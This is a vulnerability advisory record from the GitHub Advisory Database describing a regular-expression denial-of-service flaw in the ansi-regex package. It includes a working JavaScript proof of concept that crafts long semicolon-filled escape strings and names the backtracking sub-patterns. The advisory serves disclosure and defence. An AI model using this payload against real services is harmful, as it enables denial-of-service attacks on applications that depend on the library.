Inefficient Regular Expression Complexity in chalk/ansi-regex

ansi-regex is vulnerable to Inefficient Regular Expression Complexity which could lead to a denial of service when parsing invalid ANSI escape codes. **Proof of Concept** ```js import ansiRegex from 'ansi-regex'; for(var i = 1; i <= 50000; i++) { var time = Date.now(); var attack_str = "\u001B["+";".repeat(i*10000); ansiRegex().test(attack_str) var time_cost = Date.now() - time; console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms") } ``` The ReDOS is mainly due to the sub-patterns `[[\\]()#;?]*` and `(?:;[-a-zA-Z\\d\\/#&.:=?%@~_]*)*`

Source published

20 Sep 2021 20:20:09 UTC

Source modified

10 Sep 2026 03:49:08 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Publisher rating · HIGH